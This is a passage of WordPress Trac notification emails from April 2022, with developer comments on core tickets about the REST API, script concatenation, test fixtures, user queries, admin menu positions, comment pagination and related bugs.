<072.1566868673e202025ef355895a7b4719@wordpress.org> #55617: /wp/v2/pattern-directory/patterns endpoint: slug parameter has no effect on the response ------------------------------------------+---------------------------- Reporter: antonvlasenko | Owner: antonvlasenko Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: REST API | Version: trunk Severity: major | Resolution: Keywords: needs-patch needs-unit-tests | Focuses: rest-api ------------------------------------------+---------------------------- Comment (by antonvlasenko): This trac issue has patch and unit tests. I've fixed all the feedback and failed unit tests. I'd appreciate a quick code review and merge. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55617#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 22:33:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 22:33:12 -0000 Subject: [wp-trac] [WordPress Trac] #55618: combine/concatenate enqueued relative js/css Message-ID: <051.392885ced838fc9561d988852893d77d@wordpress.org> #55618: combine/concatenate enqueued relative js/css -----------------------------+----------------------------- Reporter: briandd | Owner: (none) Type: feature request | Status: new Priority: normal | Milestone: Awaiting Review Component: Script Loader | Version: Severity: normal | Keywords: Focuses: javascript, css | -----------------------------+----------------------------- What everybody is looking for nowadays is to optimize the speed of websites and one of the ways is to compress/optimize/combine jss/css files. There are many plugins to do that but many of them are clunky or load multiple versions in different pages which doesn't improve the speed. I think the combining part should be done by the application, and if it's done through the WP core it would be better, like with load-scripts.php in the admin panel. One way to do it is to combine js/css that have been enqueued using relative paths, and keep a hash of each, then keep a hash of all hashes - or simply timestamps. for example wp-content/themes/XX/style.css -> timestamp of it wp-content/plugins/XX/whatever.css -> timestamp of it save as 1 transient all paths+timestamps above as key and as value the combined css Propose to serve it dynamically or statically by either serving the content through a php file (like i think it was done in the admin panel) or saving the combined version in a cache folder (would probably need a hashing for the filename). + checking regularly through the wp-cron that they didn't change. Instead of timestamp it could be hashes (propose 2 different hashing, timestamp check only is much faster, or $ver+timestamp, $ver, $ver+hash etc). If served dynamically also allow to set the expiration. And add options to refresh(force to resave)/clear (in db only)/purge (also delete local cache files). You could also integrate some of the logic of load-styles load-scripts, this was an example. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55618> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 22:37:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 22:37:15 -0000 Subject: [wp-trac] [WordPress Trac] #55571: Gallery block fixtures in phpunit tests need updating In-Reply-To: <056.7af5202f92285945ac559a931ec8e2fc@wordpress.org> References: <056.7af5202f92285945ac559a931ec8e2fc@wordpress.org> Message-ID: <071.a04c446ca149448159cc890817e6c36b@wordpress.org> #55571: Gallery block fixtures in phpunit tests need updating --------------------------------------+--------------------------- Reporter: glendaviesnz | Owner: glendaviesnz Type: task (blessed) | Status: reopened Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: trunk Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------------- Changes (by peterwilsoncc): * status: closed => reopened * resolution: fixed => Comment: I missed this earlier, sorry. I think it would be good to maintain tests for both the updated and legacy format. That will ensure that any code changes don't break the legacy format on sites that haven't upgraded. Will putting the fixture back as `core__gallery-legacy.*` cause problems? I'll reopen this for now while it's discussed. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55571#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 22:52:20 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 22:52:20 -0000 Subject: [wp-trac] [WordPress Trac] #54795: Bootstrap: Move navigation post type hooks to `admin-filters.php` In-Reply-To: <047.3037a2798a4e649c49aff9a105ba0546@wordpress.org> References: <047.3037a2798a4e649c49aff9a105ba0546@wordpress.org> Message-ID: <062.74f9d539725996a877519fa0c99c3162@wordpress.org> #54795: Bootstrap: Move navigation post type hooks to `admin-filters.php` ----------------------------+------------------------ Reporter: dlh | Owner: audrasjb Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Bootstrap/Load | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: ----------------------------+------------------------ Changes (by antonvlasenko): * keywords: has-patch needs-refresh => has-patch Comment: @audrasjb I've resolved the merge conflict and added a note to the default- filters.php file (per @azaozz 's suggestion). Thank you. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54795#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 23:02:06 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 23:02:06 -0000 Subject: [wp-trac] [WordPress Trac] #53177: WP_User_Query does not accept fields as string except ID In-Reply-To: <050.7a532f1587592d74c55a28a712ff8ed2@wordpress.org> References: <050.7a532f1587592d74c55a28a712ff8ed2@wordpress.org> Message-ID: <065.e9d9741e6ba0131c92c51695504a7675@wordpress.org> #53177: WP_User_Query does not accept fields as string except ID -------------------------------------------------+------------------------- Reporter: rilwis | Owner: audrasjb Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Users | Version: 4.4 Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests has- | Focuses: docs testing-info commit assigned-for-commit has- | dev-note | -------------------------------------------------+------------------------- Changes (by pbearne): * keywords: has-patch has-unit-tests has-testing-info commit assigned-for- commit => has-patch has-unit-tests has-testing-info commit assigned-for-commit has-dev-note Comment: dev note https://docs.google.com/document/d/1IzIHWsfHfjCx3nmldzJ8EC9kaSVNzskvX6U8vb7CPV0/edit#heading=h.wqjp0pdjlall -- Ticket URL: <https://core.trac.wordpress.org/ticket/53177#comment:24> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 23:02:34 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 23:02:34 -0000 Subject: [wp-trac] [WordPress Trac] #55571: Gallery block fixtures in phpunit tests need updating In-Reply-To: <056.7af5202f92285945ac559a931ec8e2fc@wordpress.org> References: <056.7af5202f92285945ac559a931ec8e2fc@wordpress.org> Message-ID: <071.216396cfe54ef63784900f562be26af7@wordpress.org> #55571: Gallery block fixtures in phpunit tests need updating --------------------------------------+--------------------------- Reporter: glendaviesnz | Owner: glendaviesnz Type: task (blessed) | Status: reopened Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: trunk Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------------- Comment (by glendaviesnz): > Will putting the fixture back as core__gallery-legacy.* cause problems? Good question, @gziolo do you know what the process has been in the past for deprecated block formats in these fixtures - the only other deprecated fixtures here are for columns and paragraphs, and these only have a single deprecation, but there have been many other deprecations that aren't covered at all in these fixtures? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55571#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 23:09:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 23:09:44 -0000 Subject: [wp-trac] [WordPress Trac] #52526: Add different class for RSS widget in different conditions In-Reply-To: <054.f8391d34a74e5c4d7415f590cdcfa7fc@wordpress.org> References: <054.f8391d34a74e5c4d7415f590cdcfa7fc@wordpress.org> Message-ID: <069.640c574a96265bd862d587c551643eee@wordpress.org> #52526: Add different class for RSS widget in different conditions -----------------------------+------------------------------ Reporter: hamedmoodi | Owner: (none) Type: feature request | Status: new Priority: normal | Milestone: Awaiting Review Component: Widgets | Version: 5.7 Severity: normal | Resolution: Keywords: | Focuses: css, template -----------------------------+------------------------------ Changes (by sabernhardt): * Attachment "52526.diff" added. adding classes to the `ul` and to each `li` -- Ticket URL: <https://core.trac.wordpress.org/ticket/52526> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 23:10:13 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 23:10:13 -0000 Subject: [wp-trac] [WordPress Trac] #55564: Twenty Twenty-One: edit translator comment in Continue Reading text In-Reply-To: <055.e20f54590d49bd92bc6577ff53868f15@wordpress.org> References: <055.e20f54590d49bd92bc6577ff53868f15@wordpress.org> Message-ID: <070.73223769089519ff829cbce6666fdb00@wordpress.org> #55564: Twenty Twenty-One: edit translator comment in Continue Reading text ------------------------------+---------------------------- Reporter: sabernhardt | Owner: davidbaumwald Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: 5.6 Severity: normal | Resolution: fixed Keywords: has-patch commit | Focuses: docs ------------------------------+---------------------------- Changes (by davidbaumwald): * status: reopened => closed * resolution: => fixed Comment: In [changeset:"53263" 53263]: {{{ #!CommitTicketReference repository="" revision="53263" Twenty Twenty-One: Make translator comments referencing the post title consistent. Follow-up to [53221]. Props SergeyBiryukov. Fixes #55564. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55564#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 23:14:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 23:14:53 -0000 Subject: [wp-trac] [WordPress Trac] #52526: Add different class for RSS widget in different conditions In-Reply-To: <054.f8391d34a74e5c4d7415f590cdcfa7fc@wordpress.org> References: <054.f8391d34a74e5c4d7415f590cdcfa7fc@wordpress.org> Message-ID: <069.c9cdccda1aab9ba678034ff18525e664@wordpress.org> #52526: Add different class for RSS widget in different conditions -------------------------+------------------------------ Reporter: hamedmoodi | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Widgets | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: css, template -------------------------+------------------------------ Changes (by sabernhardt): * keywords: => has-patch * version: 5.7 => * type: feature request => enhancement Comment: The patch introduces some classes for the list and each item in legacy RSS widgets. For the items, would reversing the logic help, so new classes are included if the summary, author and/or date is ''not'' available? -- Ticket URL: <https://core.trac.wordpress.org/ticket/52526#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 23:23:59 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 23:23:59 -0000 Subject: [wp-trac] [WordPress Trac] #55347: There should be filter for image tag in wp_filter_content_tags() In-Reply-To: <051.4c28ae614b265b131f10f373a6050f15@wordpress.org> References: <051.4c28ae614b265b131f10f373a6050f15@wordpress.org> Message-ID: <066.c8c5c7d70e2c5dc8287e254cc40d86d7@wordpress.org> #55347: There should be filter for image tag in wp_filter_content_tags() -------------------------------------------------+------------------------- Reporter: pbearne | Owner: flixos90 Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests commit | Focuses: needs-dev-note needs-docs | -------------------------------------------------+------------------------- Comment (by flixos90): @pbearne Thanks for writing this up! I've reviewed your dev note and left a few suggestions. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55347#comment:18> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 00:27:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 00:27:40 -0000 Subject: [wp-trac] [WordPress Trac] #53177: WP_User_Query does not accept fields as string except ID In-Reply-To: <050.7a532f1587592d74c55a28a712ff8ed2@wordpress.org> References: <050.7a532f1587592d74c55a28a712ff8ed2@wordpress.org> Message-ID: <065.936d82122a90ea9d7011a9a940095dfb@wordpress.org> #53177: WP_User_Query does not accept fields as string except ID -------------------------------------------+----------------------- Reporter: rilwis | Owner: audrasjb Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: Users | Version: 4.4 Severity: normal | Resolution: Keywords: has-testing-info has-dev-note | Focuses: docs -------------------------------------------+----------------------- Changes (by peterwilsoncc): * keywords: has-patch has-unit-tests has-testing-info commit assigned-for-commit has-dev-note => has-testing-info has-dev-note * status: closed => reopened * resolution: fixed => Comment: Reopening this for a few reasons: * `data_returning_fields()` needs a test for a lower case ID * An array of fields doesn't validate against the allowed fields * The query generated when passing an invalid value has changed from `ID` to `*` -- Ticket URL: <https://core.trac.wordpress.org/ticket/53177#comment:25> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 02:57:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 02:57:36 -0000 Subject: [wp-trac] [WordPress Trac] #40927: Passing a float as the position in add_menu_page can override other menu items In-Reply-To: <054.3952f5b90c4dd00f8f2ab13814b18548@wordpress.org> References: <054.3952f5b90c4dd00f8f2ab13814b18548@wordpress.org> Message-ID: <069.8368758d7122cdfae14a9ca4143d7f66@wordpress.org> #40927: Passing a float as the position in add_menu_page can override other menu items -------------------------------------------------+------------------------- Reporter: justinbusa | Owner: | SergeyBiryukov Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Administration | Version: 4.8 Severity: normal | Resolution: fixed Keywords: has-patch dev-feedback needs- | Focuses: testing has-unit-tests | administration -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * status: reviewing => closed * resolution: => fixed Comment: In [changeset:"53264" 53264]: {{{ #!CommitTicketReference repository="" revision="53264" Administration: Trigger a notice for incorrect `add_menu_page()` parameter. Trigger a notice (via `_doing_it_wrong()`) for developers incorrectly setting the position when calling `add_menu_page()`. Modify a similar message in `add_submenu_page()` to combine near identical strings and match the error description to the conditions in which it is called. Follow up to [52569], [53104]. Fixes #40927. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/40927#comment:36> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 03:30:27 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 03:30:27 -0000 Subject: [wp-trac] [WordPress Trac] #50233: Limit pagination for comments In-Reply-To: <052.fc5517f758345cefe80e8019ed19fdaa@wordpress.org> References: <052.fc5517f758345cefe80e8019ed19fdaa@wordpress.org> Message-ID: <067.26e6192387e365d3424ca2b16f347a66@wordpress.org> #50233: Limit pagination for comments -------------------------------------------------+------------------------- Reporter: devrekli | Owner: | SergeyBiryukov Type: defect (bug) | Status: reopened Priority: normal | Milestone: Future | Release Component: Permalinks | Version: 5.4.1 Severity: minor | Resolution: Keywords: has-patch has-unit-tests needs- | Focuses: testing dev-feedback | -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * milestone: 6.0 => Future Release Comment: > Redirecting URLs that exceed the max makes sense, though I haven’t looked at the patches yet. Nobody has chimed in about it breaking backward compat, so this looks like a straightforward SEO win? I think redirecting might be problematic: * `301 Permanent` redirects are cached by the browser permanently. Someone visiting page two of the comments before it exists would never be able to visit page two of the comments * `302|307 Temporary` redirects can be indexed by search engines as I understand it. (Someone working in the WordPress SEO space may wish to correct me.) I think the best option would be to either: * show a 404 page if the comments page doesn't yet exist * ensure the canonical tag points to the post's default page and the comments on that page are displayed. My preference is leaning towards a 404 page. As this hasn't had any substantial work on it during the 6.0 cycle, I'm going to move the ticket on to a future release. -- Ticket URL: <https://core.trac.wordpress.org/ticket/50233#comment:26> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 03:31:56 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 03:31:56 -0000 Subject: [wp-trac] [WordPress Trac] #36308: get_attached_file() destroys file paths on Windows In-Reply-To: <050.92eb671f89732a16ad562052bc684b6b@wordpress.org> References: <050.92eb671f89732a16ad562052bc684b6b@wordpress.org> Message-ID: <065.dbefc210759bab0cf719f76ca5974b6b@wordpress.org> #36308: get_attached_file() destroys file paths on Windows -------------------------------------------------+------------------------- Reporter: Whissi | Owner: stevenlinx Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Media | Version: 4.4.2 Severity: normal | Resolution: Keywords: good-first-bug has-patch has-unit- | Focuses: tests dev-feedback has-testing-info needs- | testing commit | -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * keywords: good-first-bug has-patch has-unit-tests dev-feedback has-testing-info needs-testing => good-first-bug has-patch has-unit-tests dev-feedback has-testing-info needs-testing commit Comment: I shared this in the security channel and no one freaked out so I think it's good for commit. -- Ticket URL: <https://core.trac.wordpress.org/ticket/36308#comment:22> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 03:42:24 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 03:42:24 -0000 Subject: [wp-trac] [WordPress Trac] #54798: Check for int in menu priority In-Reply-To: <052.b7fb176cbb9d9bd86c0b1de41c070f38@wordpress.org> References: <052.b7fb176cbb9d9bd86c0b1de41c070f38@wordpress.org> Message-ID: <067.0a90f154c3bb3bc28679fef388fbfdab@wordpress.org> #54798: Check for int in menu priority --------------------------------------+----------------------- Reporter: kirtan95 | Owner: audrasjb Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+----------------------- Changes (by peterwilsoncc): * status: reopened => closed * resolution: => fixed Comment: I think this can be closed with the commits on #40927 `add_menu_page()` position: * can be either a float or an integer in line with common plugin practices * the default position, `null`, adds the menu as the last item * a `_doing_it_wrong()` notice is triggered if the position is not numberic * `float` types are cast to `string` to ensure PHP doesn't internally cast the number to an integer * the position is sorted as a human would expect it, eg: `1, "1.043", "2", 3`. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54798#comment:14> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 04:00:01 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 04:00:01 -0000 Subject: [wp-trac] [WordPress Trac] #51383: PHP error body class added for suppressed errors In-Reply-To: <051.123698ccf50d6de1ce079cfd9386be12@wordpress.org> References: <051.123698ccf50d6de1ce079cfd9386be12@wordpress.org> Message-ID: <066.54c96a9dcb0c893f4056b3f7d0b520e1@wordpress.org> #51383: PHP error body class added for suppressed errors -------------------------------------+----------------------------- Reporter: desrosj | Owner: hellofromTonya Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Administration | Version: 5.5 Severity: normal | Resolution: Keywords: has-patch needs-refresh | Focuses: -------------------------------------+----------------------------- Changes (by peterwilsoncc): * keywords: has-patch needs-testing => has-patch needs-refresh Comment: I don't think the patch is correct. The PHP class ought to be added if the warning is unsuppressed but with the [https://github.com/WordPress/wordpress-develop/pull/2490 linked pull request] the class is never displayed. As a proof of concept, apply the patch and add `trigger_error( 'some warning', E_WARNING );` prior to the definition of `$error_get_last`. The warning will be displayed but the class won't be added to the `body` element. Developer types: remember to deactivate Query Monitor while testing this, it sets an error handler that may trigger a few minutes confusion. -- Ticket URL: <https://core.trac.wordpress.org/ticket/51383#comment:29> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 04:10:28 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 04:10:28 -0000 Subject: [wp-trac] [WordPress Trac] #54736: get_sample_permalink unsets $post->filter even though this is a public property. In-Reply-To: <054.685942439bfac8ab8cda6bec7f965545@wordpress.org> References: <054.685942439bfac8ab8cda6bec7f965545@wordpress.org> Message-ID: <069.f2a9b26117a063ca93a8d3e486cf92de@wordpress.org> #54736: get_sample_permalink unsets $post->filter even though this is a public property. ----------------------------------------+----------------------------- Reporter: herregroen | Owner: hellofromTonya Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Posts, Post Types | Version: 2.7.1 Severity: normal | Resolution: Keywords: has-patch needs-unit-tests | Focuses: ----------------------------------------+----------------------------- Comment (by peterwilsoncc): I've created an initial patch in the linked pull request: * The original `filter` value is stored early in the function * This value is then restored after been replaced with `sample` In [53042] it was ensured that the filter was always set in post objects, this is why I am restoring it rather than `null`ing it. No tests at present but feel free to push them to the branch on my repo. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54736#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 04:14:10 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 04:14:10 -0000 Subject: [wp-trac] [WordPress Trac] #52622: Fix PHP Warning on PHP7.2 in class-wp-http-curl.php In-Reply-To: <057.c3a7b36a7a48782370cf5b1fd68bb9b5@wordpress.org> References: <057.c3a7b36a7a48782370cf5b1fd68bb9b5@wordpress.org> Message-ID: <072.b541d737dfb360daa05352c355bb7492@wordpress.org> #52622: Fix PHP Warning on PHP7.2 in class-wp-http-curl.php -------------------------------------+------------------------------------- Reporter: sjoerdlinders | Owner: SergeyBiryukov Type: defect (bug) | Status: reviewing Priority: normal | Milestone: Future Release Component: HTTP API | Version: 5.6.2 Severity: normal | Resolution: Keywords: has-patch needs-unit- | Focuses: administration, tests php8 | coding-standards -------------------------------------+------------------------------------- Changes (by peterwilsoncc): * milestone: 6.0 => Future Release Comment: I've moved this to future release given there hasn't been any activity during the current release cycle. I think the answer is no but to be sure: does this need Requests 2? -- Ticket URL: <https://core.trac.wordpress.org/ticket/52622#comment:15> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 04:25:46 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 04:25:46 -0000 Subject: [wp-trac] [WordPress Trac] #54700: wp-includes/vars.php can trigger warning In-Reply-To: <049.22ffbcb7193b541461fe9dc91bffee11@wordpress.org> References: <049.22ffbcb7193b541461fe9dc91bffee11@wordpress.org> Message-ID: <064.aac5b521cd80d1f0e797998ee6e1b463@wordpress.org> #54700: wp-includes/vars.php can trigger warning -----------------------------------+--------------------- Reporter: janh2 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Bootstrap/Load | Version: 5.8.2 Severity: minor | Resolution: Keywords: php8 has-patch commit | Focuses: -----------------------------------+--------------------- Changes (by peterwilsoncc): * keywords: php8 has-patch => php8 has-patch commit Comment: The linked pull request looks good to me. I did some manual testing in wp cli to ensure each step provided an expected value, it does. I can't really see how to unit test this as the variables aren't defined within a function. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54700#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 04:56:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 04:56:17 -0000 Subject: [wp-trac] [WordPress Trac] #55218: WP_Comment_Query: "Column 'comment_ID' in where clause is ambiguous" when mixing 'include_unapproved' and 'meta_query' In-Reply-To: <058.5b36a44e9a4be04ecc66d82fb2d52a10@wordpress.org> References: <058.5b36a44e9a4be04ecc66d82fb2d52a10@wordpress.org> Message-ID: <073.bac7030caf811fe099cdcec3cd8e0ace@wordpress.org> #55218: WP_Comment_Query: "Column 'comment_ID' in where clause is ambiguous" when mixing 'include_unapproved' and 'meta_query' ----------------------------+--------------------- Reporter: genosseeinhorn | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Comments | Version: 5.9 Severity: minor | Resolution: Keywords: has-patch | Focuses: ----------------------------+--------------------- Comment (by peterwilsoncc): Thanks for the report and patch @genosseeinhorn, I can see why that is happening. I've created [https://github.com/WordPress/wordpress-develop/pull/2627 linked a pull request] that simply contains your patch so I can get the test suite running. I suspect some tests may need to be updated to account for the change in SQL query. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55218#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 05:30:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 05:30:29 -0000 Subject: [wp-trac] [WordPress Trac] #48896: When enqueued wp-color-picker, toggle response of each widget panel is unresponsive on customizer. In-Reply-To: <051.6f343195bc4aeef07457275510316763@wordpress.org> References: <051.6f343195bc4aeef07457275510316763@wordpress.org> Message-ID: <066.143fb0c3d14c15df94f04487479900b7@wordpress.org> #48896: When enqueued wp-color-picker, toggle response of each widget panel is unresponsive on customizer. -------------------------------------------------+------------------------- Reporter: inc2734 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Customize | Version: Severity: normal | Resolution: Keywords: has-patch needs-testing has- | Focuses: testing-info commit | -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * keywords: has-patch needs-testing has-testing-info => has-patch needs- testing has-testing-info commit -- Ticket URL: <https://core.trac.wordpress.org/ticket/48896#comment:16> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 05:43:10 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 05:43:10 -0000 Subject: [wp-trac] [WordPress Trac] #54795: Bootstrap: Move navigation post type hooks to `admin-filters.php` In-Reply-To: <047.3037a2798a4e649c49aff9a105ba0546@wordpress.org> References: <047.3037a2798a4e649c49aff9a105ba0546@wordpress.org> Message-ID: <062.57526e1627550c9af1ecfa883e3f17e2@wordpress.org> #54795: Bootstrap: Move navigation post type hooks to `admin-filters.php` --------------------------------------------------+------------------------ Reporter: dlh | Owner: audrasjb Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Bootstrap/Load | Version: Severity: normal | Resolution: Keywords: has-patch commit assigned-for-commit | Focuses: --------------------------------------------------+------------------------ Changes (by audrasjb): * keywords: has-patch => has-patch commit assigned-for-commit Comment: Thanks! We should be good to go then. (I tweaked a bit the note) Let's go with this 👍 -- Ticket URL: <https://core.trac.wordpress.org/ticket/54795#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 05:49:19 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 05:49:19 -0000 Subject: [wp-trac] [WordPress Trac] #55575: Duplicate HTML id attribute in Quick/Bulk Edit In-Reply-To: <052.ccb45e1e696a60c3f20beefea771a501@wordpress.org> References: <052.ccb45e1e696a60c3f20beefea771a501@wordpress.org> Message-ID: <067.fcd13d97a6d77d54780325db3456a209@wordpress.org> #55575: Duplicate HTML id attribute in Quick/Bulk Edit -----------------------------+---------------------------- Reporter: GregLone | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Quick/Bulk Edit | Version: trunk Severity: normal | Resolution: Keywords: needs-patch | Focuses: accessibility -----------------------------+---------------------------- Changes (by sabernhardt): * keywords: has-patch => needs-patch -- Ticket URL: <https://core.trac.wordpress.org/ticket/55575#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 06:18:45 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 06:18:45 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.2c718545b2d093b087a1bbf819367ad9@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by audrasjb): In [changeset:"53265" 53265]: {{{ #!CommitTicketReference repository="" revision="53265" Docs: Use third-person singular verbs for function descriptions in Core Comment API and Comment template functions. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:89> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 06:19:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 06:19:02 -0000 Subject: [wp-trac] [WordPress Trac] #48896: When enqueued wp-color-picker, toggle response of each widget panel is unresponsive on customizer. In-Reply-To: <051.6f343195bc4aeef07457275510316763@wordpress.org> References: <051.6f343195bc4aeef07457275510316763@wordpress.org> Message-ID: <066.39d81c7bca82f2f2908a09baf10e614f@wordpress.org> #48896: When enqueued wp-color-picker, toggle response of each widget panel is unresponsive on customizer. -------------------------------------------------+------------------------- Reporter: inc2734 | Owner: audrasjb Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Customize | Version: Severity: normal | Resolution: Keywords: has-patch has-testing-info commit | Focuses: assigned-for-commit | -------------------------------------------------+------------------------- Changes (by audrasjb): * keywords: has-patch needs-testing has-testing-info commit => has-patch has-testing-info commit assigned-for-commit * owner: (none) => audrasjb * status: new => assigned Comment: Thanks for the patch and tests 👍 -- Ticket URL: <https://core.trac.wordpress.org/ticket/48896#comment:17> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 06:30:39 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 06:30:39 -0000 Subject: [wp-trac] [WordPress Trac] #54795: Bootstrap: Move navigation post type hooks to `admin-filters.php` In-Reply-To: <047.3037a2798a4e649c49aff9a105ba0546@wordpress.org> References: <047.3037a2798a4e649c49aff9a105ba0546@wordpress.org> Message-ID: <062.cfed7587e9b8610cca392346b2919193@wordpress.org> #54795: Bootstrap: Move navigation post type hooks to `admin-filters.php` --------------------------------------------------+----------------------- Reporter: dlh | Owner: audrasjb Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: 